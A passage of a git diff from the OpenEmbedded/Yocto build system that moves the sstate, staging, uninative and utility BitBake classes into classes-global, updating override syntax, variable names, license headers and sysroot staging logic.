+ directtasks = ["do_populate_lic", "do_deploy_source_date_epoch", "do_shared_workdir", "do_stash_locale", "do_gcc_stash_builddir", "do_create_spdx", "do_deploy_archives"]
+
+ def isNativeCross(x):
+ return x.endswith("-native") or "-cross-" in x or "-crosssdk" in x or x.endswith("-cross")
+
+ # We only need to trigger deploy_source_date_epoch through direct dependencies
+ if taskdependees[task][1] in directtasks:
+ return True
+
+ # We only need to trigger packagedata through direct dependencies
+ # but need to preserve packagedata on packagedata links
+ if taskdependees[task][1] == "do_packagedata":
+ for dep in taskdependees:
+ if taskdependees[dep][1] == "do_packagedata":
+ return False
+ return True
+
+ for dep in taskdependees:
+ logit(" considering dependency: %s" % (str(taskdependees[dep])), log)
+ if task == dep:
+ continue
+ if dep in notneeded:
+ continue
+ # do_package_write_* and do_package doesn't need do_package
+ if taskdependees[task][1] == "do_package" and taskdependees[dep][1] in ['do_package', 'do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm', 'do_packagedata', 'do_package_qa']:
+ continue
+ # do_package_write_* need do_populate_sysroot as they're mainly postinstall dependencies
+ if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm']:
+ return False
+ # do_package/packagedata/package_qa/deploy don't need do_populate_sysroot
+ if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package', 'do_packagedata', 'do_package_qa', 'do_deploy']:
+ continue
+ # Native/Cross packages don't exist and are noexec anyway
+ if isNativeCross(taskdependees[dep][0]) and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm', 'do_packagedata', 'do_package', 'do_package_qa']:
+ continue
+
+ # Consider sysroot depending on sysroot tasks
+ if taskdependees[task][1] == 'do_populate_sysroot' and taskdependees[dep][1] == 'do_populate_sysroot':
+ # Allow excluding certain recursive dependencies. If a recipe needs it should add a
+ # specific dependency itself, rather than relying on one of its dependees to pull
+ # them in.
+ # See also http://lists.openembedded.org/pipermail/openembedded-core/2018-January/146324.html
+ not_needed = False
+ excludedeps = d.getVar('_SSTATE_EXCLUDEDEPS_SYSROOT')
+ if excludedeps is None:
+ # Cache the regular expressions for speed
+ excludedeps = []
+ for excl in (d.getVar('SSTATE_EXCLUDEDEPS_SYSROOT') or "").split():
+ excludedeps.append((re.compile(excl.split('->', 1)[0]), re.compile(excl.split('->', 1)[1])))
+ d.setVar('_SSTATE_EXCLUDEDEPS_SYSROOT', excludedeps)
+ for excl in excludedeps:
+ if excl[0].match(taskdependees[dep][0]):
+ if excl[1].match(taskdependees[task][0]):
+ not_needed = True
+ break
+ if not_needed:
+ continue
+ # For meta-extsdk-toolchain we want all sysroot dependencies
+ if taskdependees[dep][0] == 'meta-extsdk-toolchain':
+ return False
+ # Native/Cross populate_sysroot need their dependencies
+ if isNativeCross(taskdependees[task][0]) and isNativeCross(taskdependees[dep][0]):
+ return False
+ # Target populate_sysroot depended on by cross tools need to be installed
+ if isNativeCross(taskdependees[dep][0]):
+ return False
+ # Native/cross tools depended upon by target sysroot are not needed
+ # Add an exception for shadow-native as required by useradd.bbclass
+ if isNativeCross(taskdependees[task][0]) and taskdependees[task][0] != 'shadow-native':
+ continue
+ # Target populate_sysroot need their dependencies
+ return False
+
+ if taskdependees[dep][1] in directtasks:
+ continue
+
+ # Safe fallthrough default
+ logit(" Default setscene dependency fall through due to dependency: %s" % (str(taskdependees[dep])), log)
+ return False
+ return True
+
+addhandler sstate_eventhandler
+sstate_eventhandler[eventmask] = "bb.build.TaskSucceeded"
+python sstate_eventhandler() {
+ d = e.data
+ writtensstate = d.getVar('SSTATE_CURRTASK')
+ if not writtensstate:
+ taskname = d.getVar("BB_RUNTASK")[3:]
+ spec = d.getVar('SSTATE_PKGSPEC')
+ swspec = d.getVar('SSTATE_SWSPEC')
+ if taskname in ["fetch", "unpack", "patch", "populate_lic", "preconfigure"] and swspec:
+ d.setVar("SSTATE_PKGSPEC", "${SSTATE_SWSPEC}")
+ d.setVar("SSTATE_EXTRAPATH", "")
+ d.setVar("SSTATE_CURRTASK", taskname)
+ siginfo = d.getVar('SSTATE_PKG') + ".siginfo"
+ if not os.path.exists(siginfo):
+ bb.siggen.dump_this_task(siginfo, d)
+ else:
+ oe.utils.touch(siginfo)
+}
+
+SSTATE_PRUNE_OBSOLETEWORKDIR ?= "1"
+
+#
+# Event handler which removes manifests and stamps file for recipes which are no
+# longer 'reachable' in a build where they once were. 'Reachable' refers to
+# whether a recipe is parsed so recipes in a layer which was removed would no
+# longer be reachable. Switching between systemd and sysvinit where recipes
+# became skipped would be another example.
+#
+# Also optionally removes the workdir of those tasks/recipes
+#
+addhandler sstate_eventhandler_reachablestamps
+sstate_eventhandler_reachablestamps[eventmask] = "bb.event.ReachableStamps"
+python sstate_eventhandler_reachablestamps() {
+ import glob
+ d = e.data
+ stamps = e.stamps.values()
+ removeworkdir = (d.getVar("SSTATE_PRUNE_OBSOLETEWORKDIR", False) == "1")
+ preservestampfile = d.expand('${SSTATE_MANIFESTS}/preserve-stamps')
+ preservestamps = []
+ if os.path.exists(preservestampfile):
+ with open(preservestampfile, 'r') as f:
+ preservestamps = f.readlines()
+ seen = []
+
+ # The machine index contains all the stamps this machine has ever seen in this build directory.
+ # We should only remove things which this machine once accessed but no longer does.
+ machineindex = set()
+ bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
+ mi = d.expand("${SSTATE_MANIFESTS}/index-machine-${MACHINE}")
+ if os.path.exists(mi):
+ with open(mi, "r") as f:
+ machineindex = set(line.strip() for line in f.readlines())
+
+ for a in sorted(list(set(d.getVar("SSTATE_ARCHS").split()))):
+ toremove = []
+ i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
+ if not os.path.exists(i):
+ continue
+ manseen = set()
+ ignore = []
+ with open(i, "r") as f:
+ lines = f.readlines()
+ for l in reversed(lines):
+ try:
+ (stamp, manifest, workdir) = l.split()
+ # The index may have multiple entries for the same manifest as the code above only appends
+ # new entries and there may be an entry with matching manifest but differing version in stamp/workdir.
+ # The last entry in the list is the valid one, any earlier entries with matching manifests
+ # should be ignored.
+ if manifest in manseen:
+ ignore.append(l)
+ continue
+ manseen.add(manifest)
+ if stamp not in stamps and stamp not in preservestamps and stamp in machineindex:
+ toremove.append(l)
+ if stamp not in seen:
+ bb.debug(2, "Stamp %s is not reachable, removing related manifests" % stamp)
+ seen.append(stamp)
+ except ValueError:
+ bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
+
+ if toremove:
+ msg = "Removing %d recipes from the %s sysroot" % (len(toremove), a)
+ bb.event.fire(bb.event.ProcessStarted(msg, len(toremove)), d)
+
+ removed = 0
+ for r in toremove:
+ (stamp, manifest, workdir) = r.split()
+ for m in glob.glob(manifest + ".*"):
+ if m.endswith(".postrm"):
+ continue
+ sstate_clean_manifest(m, d)
+ bb.utils.remove(stamp + "*")
+ if removeworkdir:
+ bb.utils.remove(workdir, recurse = True)
+ lines.remove(r)
+ removed = removed + 1
+ bb.event.fire(bb.event.ProcessProgress(msg, removed), d)
+ bb.event.check_for_interrupts(d)
+
+ bb.event.fire(bb.event.ProcessFinished(msg), d)
+
+ with open(i, "w") as f:
+ for l in lines:
+ if l in ignore:
+ continue
+ f.write(l)
+ machineindex |= set(stamps)
+ with open(mi, "w") as f:
+ for l in machineindex:
+ f.write(l + "\n")
+
+ if preservestamps:
+ os.remove(preservestampfile)
+}
+
+
+#
+# Bitbake can generate an event showing which setscene tasks are 'stale',
+# i.e. which ones will be rerun. These are ones where a stamp file is present but
+# it is stable (e.g. taskhash doesn't match). With that list we can go through
+# the manifests for matching tasks and "uninstall" those manifests now. We do
+# this now rather than mid build since the distribution of files between sstate
+# objects may have changed, new tasks may run first and if those new tasks overlap
+# with the stale tasks, we'd see overlapping files messages and failures. Thankfully
+# removing these files is fast.
+#
+addhandler sstate_eventhandler_stalesstate
+sstate_eventhandler_stalesstate[eventmask] = "bb.event.StaleSetSceneTasks"
+python sstate_eventhandler_stalesstate() {
+ d = e.data
+ tasks = e.tasks
+
+ bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
+
+ for a in list(set(d.getVar("SSTATE_ARCHS").split())):
+ toremove = []
+ i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
+ if not os.path.exists(i):
+ continue
+ with open(i, "r") as f:
+ lines = f.readlines()
+ for l in lines:
+ try:
+ (stamp, manifest, workdir) = l.split()
+ for tid in tasks:
+ for s in tasks[tid]:
+ if s.startswith(stamp):
+ taskname = bb.runqueue.taskname_from_tid(tid)[3:]
+ manname = manifest + "." + taskname
+ if os.path.exists(manname):
+ bb.debug(2, "Sstate for %s is stale, removing related manifest %s" % (tid, manname))
+ toremove.append((manname, tid, tasks[tid]))
+ break
+ except ValueError:
+ bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
+
+ if toremove:
+ msg = "Removing %d stale sstate objects for arch %s" % (len(toremove), a)
+ bb.event.fire(bb.event.ProcessStarted(msg, len(toremove)), d)
+
+ removed = 0
+ for (manname, tid, stamps) in toremove:
+ sstate_clean_manifest(manname, d)
+ for stamp in stamps:
+ bb.utils.remove(stamp)
+ removed = removed + 1
+ bb.event.fire(bb.event.ProcessProgress(msg, removed), d)
+ bb.event.check_for_interrupts(d)
+
+ bb.event.fire(bb.event.ProcessFinished(msg), d)
+}
diff --git a/meta/classes/staging.bbclass b/meta/classes-global/staging.bbclass
index de3a19815a..3678a1b441 100644
--- a/meta/classes/staging.bbclass
+++ b/meta/classes-global/staging.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# These directories will be staged in the sysroot
SYSROOT_DIRS = " \
${includedir} \
@@ -5,6 +11,7 @@ SYSROOT_DIRS = " \
${base_libdir} \
${nonarch_base_libdir} \
${datadir} \
+ /sysroot-only \
"
# These directories are also staged in the sysroot when they contain files that
@@ -18,20 +25,24 @@ SYSROOT_DIRS_NATIVE = " \
${sysconfdir} \
${localstatedir} \
"
-SYSROOT_DIRS_append_class-native = " ${SYSROOT_DIRS_NATIVE}"
-SYSROOT_DIRS_append_class-cross = " ${SYSROOT_DIRS_NATIVE}"
-SYSROOT_DIRS_append_class-crosssdk = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-native = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-cross = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-crosssdk = " ${SYSROOT_DIRS_NATIVE}"
# These directories will not be staged in the sysroot
-SYSROOT_DIRS_BLACKLIST = " \
+SYSROOT_DIRS_IGNORE = " \
${mandir} \
${docdir} \
${infodir} \
+ ${datadir}/X11/locale \
${datadir}/applications \
+ ${datadir}/bash-completion \
${datadir}/fonts \
${datadir}/gtk-doc/html \
+ ${datadir}/installed-tests \
${datadir}/locale \
${datadir}/pixmaps \
+ ${datadir}/terminfo \
${libdir}/${BPN}/ptest \
"
@@ -44,9 +55,10 @@ sysroot_stage_dir() {
fi
mkdir -p "$dest"
+ rdest=$(realpath --relative-to="$src" "$dest")
(
cd $src
- find . -print0 | cpio --null -pdlu $dest
+ find . -print0 | cpio --null -pdlu $rdest
)
}
@@ -59,7 +71,7 @@ sysroot_stage_dirs() {
done
# Remove directories we do not care about
- for dir in ${SYSROOT_DIRS_BLACKLIST}; do
+ for dir in ${SYSROOT_DIRS_IGNORE}; do
rm -rf "$to$dir"
done
}
@@ -77,15 +89,15 @@ python sysroot_strip () {
pn = d.getVar('PN')
libdir = d.getVar("libdir")
base_libdir = d.getVar("base_libdir")
- qa_already_stripped = 'already-stripped' in (d.getVar('INSANE_SKIP_' + pn) or "").split()
+ qa_already_stripped = 'already-stripped' in (d.getVar('INSANE_SKIP:' + pn) or "").split()
strip_cmd = d.getVar("STRIP")
- oe.package.strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d,
+ max_process = oe.utils.get_bb_number_threads(d)
+ oe.package.strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, max_process,
qa_already_stripped=qa_already_stripped)
}
do_populate_sysroot[dirs] = "${SYSROOT_DESTDIR}"
-do_populate_sysroot[umask] = "022"
addtask populate_sysroot after do_install
@@ -99,7 +111,7 @@ python do_populate_sysroot () {
for f in (d.getVar('SYSROOT_PREPROCESS_FUNCS') or '').split():
bb.build.exec_func(f, d)
pn = d.getVar("PN")
- multiprov = d.getVar("MULTI_PROVIDER_WHITELIST").split()
+ multiprov = d.getVar("BB_MULTI_PROVIDER_ALLOWED").split()
provdir = d.expand("${SYSROOT_DESTDIR}${base_prefix}/sysroot-providers/")
bb.utils.mkdirhier(provdir)
for p in d.getVar("PROVIDES").split():
@@ -111,11 +123,11 @@ python do_populate_sysroot () {
}
do_populate_sysroot[vardeps] += "${SYSROOT_PREPROCESS_FUNCS}"
-do_populate_sysroot[vardepsexclude] += "MULTI_PROVIDER_WHITELIST"
+do_populate_sysroot[vardepsexclude] += "BB_MULTI_PROVIDER_ALLOWED"
POPULATESYSROOTDEPS = ""
-POPULATESYSROOTDEPS_class-target = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
-POPULATESYSROOTDEPS_class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
+POPULATESYSROOTDEPS:class-target = "virtual/${HOST_PREFIX}binutils:do_populate_sysroot"
+POPULATESYSROOTDEPS:class-nativesdk = "virtual/${HOST_PREFIX}binutils:do_populate_sysroot"
do_populate_sysroot[depends] += "${POPULATESYSROOTDEPS}"
SSTATETASKS += "do_populate_sysroot"
@@ -233,8 +245,8 @@ def staging_populate_sysroot_dir(targetsysroot, nativesysroot, native, d):
continue
staging_processfixme(fixme, targetdir, targetsysroot, nativesysroot, d)
- for p in postinsts:
- subprocess.check_output(p, shell=True, stderr=subprocess.STDOUT)
+ for p in sorted(postinsts):
+ bb.note("Running postinst {}, output:\n{}".format(p, subprocess.check_output(p, shell=True, stderr=subprocess.STDOUT)))
#
# Manifests here are complicated. The main sysroot area has the unpacked sstate
@@ -264,6 +276,10 @@ python extend_recipe_sysroot() {
pn = d.getVar("PN")
stagingdir = d.getVar("STAGING_DIR")
sharedmanifests = d.getVar("COMPONENTS_DIR") + "/manifests"
+ # only needed by multilib cross-canadian since it redefines RECIPE_SYSROOT
+ manifestprefix = d.getVar("RECIPE_SYSROOT_MANIFEST_SUBDIR")
+ if manifestprefix:
+ sharedmanifests = sharedmanifests + "/" + manifestprefix
recipesysroot = d.getVar("RECIPE_SYSROOT")
recipesysrootnative = d.getVar("RECIPE_SYSROOT_NATIVE")
@@ -302,6 +318,7 @@ python extend_recipe_sysroot() {
sstatetasks = d.getVar("SSTATETASKS").split()
# Add recipe specific tasks referenced by setscene_depvalid()
sstatetasks.append("do_stash_locale")
+ sstatetasks.append("do_deploy")
def print_dep_tree(deptree):
data = ""
@@ -346,7 +363,7 @@ python extend_recipe_sysroot() {
#bb.note(" start is %s" % str(start))
# Direct dependencies should be present and can be depended upon
- for dep in set(start):
+ for dep in sorted(set(start)):
if setscenedeps[dep][1] == "do_populate_sysroot":
if dep not in configuredeps:
configuredeps.append(dep)
@@ -398,16 +415,40 @@ python extend_recipe_sysroot() {
# All files that we're going to be installing, to find conflicts.
fileset = {}
+ invalidate_tasks = set()
for f in os.listdir(depdir):
+ removed = []
if not f.endswith(".complete"):
continue
f = depdir + "/" + f
if os.path.islink(f) and not os.path.exists(f):
bb.note("%s no longer exists, removing from sysroot" % f)
lnk = os.readlink(f.replace(".complete", ""))
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(f)
os.unlink(f.replace(".complete", ""))
+ removed.append(os.path.basename(f.replace(".complete", "")))
+
+ # If we've removed files from the sysroot above, the task that installed them may still
+ # have a stamp file present for the task. This is probably invalid right now but may become
+ # valid again if the user were to change configuration back for example. Since we've removed
+ # the files a task might need, remove the stamp file too to force it to rerun.
+ # YOCTO #14790
+ if removed:
+ for i in glob.glob(depdir + "/index.*"):
+ if i.endswith("." + mytaskname):
+ continue
+ with open(i, "r") as f:
+ for l in f:
+ if l.startswith("TaskDeps:"):
+ continue
+ l = l.strip()
+ if l in removed:
+ invalidate_tasks.add(i.rsplit(".", 1)[1])
+ break
+ for t in invalidate_tasks:
+ bb.note("Invalidating stamps for task %s" % t)
+ bb.build.clean_stamp(t, d)
installed = []
for dep in configuredeps:
@@ -450,7 +491,7 @@ python extend_recipe_sysroot() {
fl = depdir + "/" + l
bb.note("Task %s no longer depends on %s, removing from sysroot" % (mytaskname, l))
lnk = os.readlink(fl)
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(fl)
os.unlink(fl + ".complete")
@@ -471,7 +512,7 @@ python extend_recipe_sysroot() {
continue
else:
bb.note("%s exists in sysroot, but is stale (%s vs. %s), removing." % (c, lnk, c + "." + taskhash))
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(depdir + "/" + c)
if os.path.lexists(depdir + "/" + c + ".complete"):
os.unlink(depdir + "/" + c + ".complete")
@@ -480,7 +521,7 @@ python extend_recipe_sysroot() {
binfiles = {}
# Now handle installs
- for dep in configuredeps:
+ for dep in sorted(configuredeps):
c = setscenedeps[dep][0]
if c not in installed:
continue
@@ -588,8 +629,8 @@ python extend_recipe_sysroot() {
for f in fixme:
staging_processfixme(fixme[f], f, recipesysroot, recipesysrootnative, d)
- for p in postinsts:
- subprocess.check_output(p, shell=True, stderr=subprocess.STDOUT)
+ for p in sorted(postinsts):
+ bb.note("Running postinst {}, output:\n{}".format(p, subprocess.check_output(p, shell=True, stderr=subprocess.STDOUT)))
for dep in manifests:
c = setscenedeps[dep][0]
@@ -614,8 +655,41 @@ python staging_taskhandler() {
bbtasks = e.tasklist
for task in bbtasks:
deps = d.getVarFlag(task, "depends")
- if deps and "populate_sysroot" in deps:
- d.appendVarFlag(task, "prefuncs", " extend_recipe_sysroot")
+ if task != 'do_prepare_recipe_sysroot' and (task == "do_configure" or (deps and "populate_sysroot" in deps)):
+ d.prependVarFlag(task, "prefuncs", "extend_recipe_sysroot ")
}
staging_taskhandler[eventmask] = "bb.event.RecipeTaskPreProcess"
addhandler staging_taskhandler
+
+
+#
+# Target build output, stored in do_populate_sysroot or do_package can depend
+# not only upon direct dependencies but also indirect ones. A good example is
+# linux-libc-headers. The toolchain depends on this but most target recipes do
+# not. There are some headers which are not used by the toolchain build and do
+# not change the toolchain task output, hence the task hashes can change without
+# changing the sysroot output of that recipe yet they can influence others.
+#
+# A specific example is rtc.h which can change rtcwake.c in util-linux but is not
+# used in the glibc or gcc build. To account for this, we need to account for the
+# populate_sysroot hashes in the task output hashes.
+#
+python target_add_sysroot_deps () {
+ current_task = "do_" + d.getVar("BB_CURRENTTASK")
+ if current_task not in ["do_populate_sysroot", "do_package"]:
+ return
+
+ pn = d.getVar("PN")
+ if pn.endswith("-native"):
+ return
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ deps = {}
+ for dep in taskdepdata.values():
+ if dep[1] == "do_populate_sysroot" and not dep[0].endswith(("-native", "-initial")) and "-cross-" not in dep[0] and dep[0] != pn:
+ deps[dep[0]] = dep[6]
+
+ d.setVar("HASHEQUIV_EXTRA_SIGDATA", "\n".join("%s: %s" % (k, deps[k]) for k in sorted(deps.keys())))
+}
+SSTATECREATEFUNCS += "target_add_sysroot_deps"
+
diff --git a/meta/classes/uninative.bbclass b/meta/classes-global/uninative.bbclass
index 316c0f0616..d2297b53f5 100644
--- a/meta/classes/uninative.bbclass
+++ b/meta/classes-global/uninative.bbclass
@@ -1,16 +1,22 @@
-UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('BUILD_ARCH', 'ppc64le', 'ld64.so.2', '', d)}"
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('BUILD_ARCH', 'ppc64le', 'ld64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'riscv64', 'ld-linux-riscv64-lp64d.so.1', '', d)}"
UNINATIVE_STAGING_DIR ?= "${STAGING_DIR}"
UNINATIVE_URL ?= "unset"
-UNINATIVE_TARBALL ?= "${BUILD_ARCH}-nativesdk-libc.tar.xz"
+UNINATIVE_TARBALL ?= "${BUILD_ARCH}-nativesdk-libc-${UNINATIVE_VERSION}.tar.xz"
# Example checksums
#UNINATIVE_CHECKSUM[aarch64] = "dead"
#UNINATIVE_CHECKSUM[i686] = "dead"
#UNINATIVE_CHECKSUM[x86_64] = "dead"
UNINATIVE_DLDIR ?= "${DL_DIR}/uninative/"
-# Enabling uninative will change the following variables so they need to go the parsing white list to prevent multiple recipe parsing
-BB_HASHCONFIG_WHITELIST += "NATIVELSBSTRING SSTATEPOSTUNPACKFUNCS BUILD_LDFLAGS"
+# Enabling uninative will change the following variables so they need to go the parsing ignored variables list to prevent multiple recipe parsing
+BB_HASHCONFIG_IGNORE_VARS += "NATIVELSBSTRING SSTATEPOSTUNPACKFUNCS BUILD_LDFLAGS"
addhandler uninative_event_fetchloader
uninative_event_fetchloader[eventmask] = "bb.event.BuildStarted"
@@ -34,6 +40,8 @@ python uninative_event_fetchloader() {
with open(loaderchksum, "r") as f:
readchksum = f.read().strip()
if readchksum == chksum:
+ if "uninative" not in d.getVar("SSTATEPOSTUNPACKFUNCS"):
+ enable_uninative(d)
return
import subprocess
@@ -89,7 +97,7 @@ python uninative_event_fetchloader() {
# ldd output is "ldd (Ubuntu GLIBC 2.23-0ubuntu10) 2.23", extract last option from first line
glibcver = subprocess.check_output(["ldd", "--version"]).decode('utf-8').split('\n')[0].split()[-1]
if bb.utils.vercmp_string(d.getVar("UNINATIVE_MAXGLIBCVERSION"), glibcver) < 0:
- raise RuntimeError("Your host glibc verson (%s) is newer than that in uninative (%s). Disabling uninative so that sstate is not corrupted." % (glibcver, d.getVar("UNINATIVE_MAXGLIBCVERSION")))
+ raise RuntimeError("Your host glibc version (%s) is newer than that in uninative (%s). Disabling uninative so that sstate is not corrupted." % (glibcver, d.getVar("UNINATIVE_MAXGLIBCVERSION")))
cmd = d.expand("\
mkdir -p ${UNINATIVE_STAGING_DIR}-uninative; \
@@ -100,7 +108,7 @@ ${UNINATIVE_STAGING_DIR}-uninative/relocate_sdk.py \
${UNINATIVE_LOADER} \
${UNINATIVE_LOADER} \
${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/${bindir_native}/patchelf-uninative \
- ${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${base_libdir_native}/libc*.so" % chksum)
+ ${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${base_libdir_native}/libc*.so*" % chksum)
subprocess.check_output(cmd, shell=True)
with open(loaderchksum, "w") as f:
@@ -135,10 +143,10 @@ def enable_uninative(d):
d.setVar("NATIVELSBSTRING", "universal%s" % oe.utils.host_gcc_version(d))
d.appendVar("SSTATEPOSTUNPACKFUNCS", " uninative_changeinterp")
d.appendVarFlag("SSTATEPOSTUNPACKFUNCS", "vardepvalueexclude", "| uninative_changeinterp")
- d.appendVar("BUILD_LDFLAGS", " -Wl,--allow-shlib-undefined -Wl,--dynamic-linker=${UNINATIVE_LOADER}")
- d.appendVarFlag("BUILD_LDFLAGS", "vardepvalueexclude", "| -Wl,--allow-shlib-undefined -Wl,--dynamic-linker=${UNINATIVE_LOADER}")
+ d.appendVar("BUILD_LDFLAGS", " -Wl,--allow-shlib-undefined -Wl,--dynamic-linker=${UNINATIVE_LOADER} -pthread")
+ d.appendVarFlag("BUILD_LDFLAGS", "vardepvalueexclude", "| -Wl,--allow-shlib-undefined -Wl,--dynamic-linker=${UNINATIVE_LOADER} -pthread")
d.appendVarFlag("BUILD_LDFLAGS", "vardepsexclude", "UNINATIVE_LOADER")
- d.prependVar("PATH", "${STAGING_DIR}-uninative/${BUILD_ARCH}-linux${bindir_native}:")
+ d.prependVar("PATH", "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${bindir_native}:")
python uninative_changeinterp () {
import subprocess
@@ -167,5 +175,7 @@ python uninative_changeinterp () {
if not elf.isDynamic():
continue
+ os.chmod(f, s[stat.ST_MODE] | stat.S_IWUSR)
subprocess.check_output(("patchelf-uninative", "--set-interpreter", d.getVar("UNINATIVE_LOADER"), f), stderr=subprocess.STDOUT)
+ os.chmod(f, s[stat.ST_MODE])
}
diff --git a/meta/classes/utility-tasks.bbclass b/meta/classes-global/utility-tasks.bbclass
index b1f27d3658..ae2da330b8 100644
--- a/meta/classes/utility-tasks.bbclass
+++ b/meta/classes-global/utility-tasks.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
addtask listtasks
do_listtasks[nostamp] = "1"
python do_listtasks() {
@@ -19,7 +25,7 @@ python do_listtasks() {
CLEANFUNCS ?= ""
-T_task-clean = "${LOG_DIR}/cleanlogs/${PN}"
+T:task-clean = "${LOG_DIR}/cleanlogs/${PN}"
addtask clean
do_clean[nostamp] = "1"
python do_clean() {
@@ -38,6 +44,7 @@ python do_clean() {
addtask checkuri
do_checkuri[nostamp] = "1"
+do_checkuri[network] = "1"
python do_checkuri() {
src_uri = (d.getVar('SRC_URI') or "").split()
if len(src_uri) == 0:
diff --git a/meta/classes/utils.bbclass b/meta/classes-global/utils.bbclass
index 120bcc64a6..957389928f 100644
--- a/meta/classes/utils.bbclass
+++ b/meta/classes-global/utils.bbclass
@@ -1,3 +1,8 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
oe_soinstall() {
# Purpose: Install shared library file and
@@ -10,7 +15,7 @@ oe_soinstall() {
;;
esac
install -m 755 $1 $2/$libname
- sonamelink=`${HOST_PREFIX}readelf -d $1 |grep 'Library soname:' |sed -e 's/.*\[\(.*\)\].*/\1/'`
+ sonamelink=`${READELF} -d $1 |grep 'Library soname:' |sed -e 's/.*\[\(.*\)\].*/\1/'`
if [ -z $sonamelink ]; then
bbfatal "oe_soinstall: $libname is missing ELF tag 'SONAME'."
fi
@@ -30,7 +35,6 @@ oe_libinstall() {
silent=""
require_static=""
require_shared=""
- staging_install=""
while [ "$#" -gt 0 ]; do
case "$1" in
-C)
@@ -62,10 +66,6 @@ oe_libinstall() {
if [ -z "$destpath" ]; then
bbfatal "oe_libinstall: no destination path specified"
fi
- if echo "$destpath/" | egrep '^${STAGING_LIBDIR}/' >/dev/null
- then
- staging_install=1
- fi
__runcmd () {
if [ -z "$silent" ]; then
@@ -147,7 +147,7 @@ oe_libinstall() {
# special case hack for non-libtool .so.#.#.# links
baselibfile=`basename "$libfile"`
if (echo $baselibfile | grep -qE '^lib.*\.so\.[0-9.]*$'); then
- sonamelink=`${HOST_PREFIX}readelf -d $libfile |grep 'Library soname:' |sed -e 's/.*\[\(.*\)\].*/\1/'`
+ sonamelink=`${READELF} -d $libfile |grep 'Library soname:' |sed -e 's/.*\[\(.*\)\].*/\1/'`
solink=`echo $baselibfile | sed -e 's/\.so\..*/.so/'`
if [ -n "$sonamelink" -a x"$baselibfile" != x"$sonamelink" ]; then
__runcmd ln -sf $baselibfile $destpath/$sonamelink
@@ -159,36 +159,6 @@ oe_libinstall() {
__runcmd cd "$olddir"
}
-oe_machinstall() {
- # Purpose: Install machine dependent files, if available
- # If not available, check if there is a default
- # If no default, just touch the destination
- # Example:
- # $1 $2 $3 $4
- # oe_machinstall -m 0644 fstab ${D}/etc/fstab
- #
- # TODO: Check argument number?
- #
- filename=`basename $3`
- dirname=`dirname $3`
-
- for o in `echo ${OVERRIDES} | tr ':' ' '`; do
- if [ -e $dirname/$o/$filename ]; then
- bbnote $dirname/$o/$filename present, installing to $4
- install $1 $2 $dirname/$o/$filename $4
- return
- fi
- done
-# bbnote overrides specific file NOT present, trying default=$3...
- if [ -e $3 ]; then
- bbnote $3 present, installing to $4
- install $1 $2 $3 $4
- else
- bbnote $3 NOT present, touching empty $4
- touch $4
- fi
-}
-
create_cmdline_wrapper () {
# Create a wrapper script where commandline options are needed
#
@@ -214,7 +184,44 @@ create_cmdline_wrapper () {
#!/bin/bash
realpath=\`readlink -fn \$0\`
realdir=\`dirname \$realpath\`
-exec -a \`dirname \$realpath\`/$cmdname \`dirname \$realpath\`/$cmdname.real $cmdoptions "\$@"
+exec -a \$realdir/$cmdname \$realdir/$cmdname.real $cmdoptions "\$@"
+END
+ chmod +x $cmd
+}
+
+create_cmdline_shebang_wrapper () {
+ # Create a wrapper script where commandline options are needed
+ #
+ # These are useful to work around shebang relocation issues, where shebangs are too
